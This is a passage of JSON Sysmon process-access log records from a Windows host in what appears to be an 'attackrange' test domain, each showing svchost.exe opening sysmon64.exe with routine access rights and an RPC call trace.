11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1624,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1625,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1626,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1627,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1628,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1629,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1630,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1631,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1632,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT 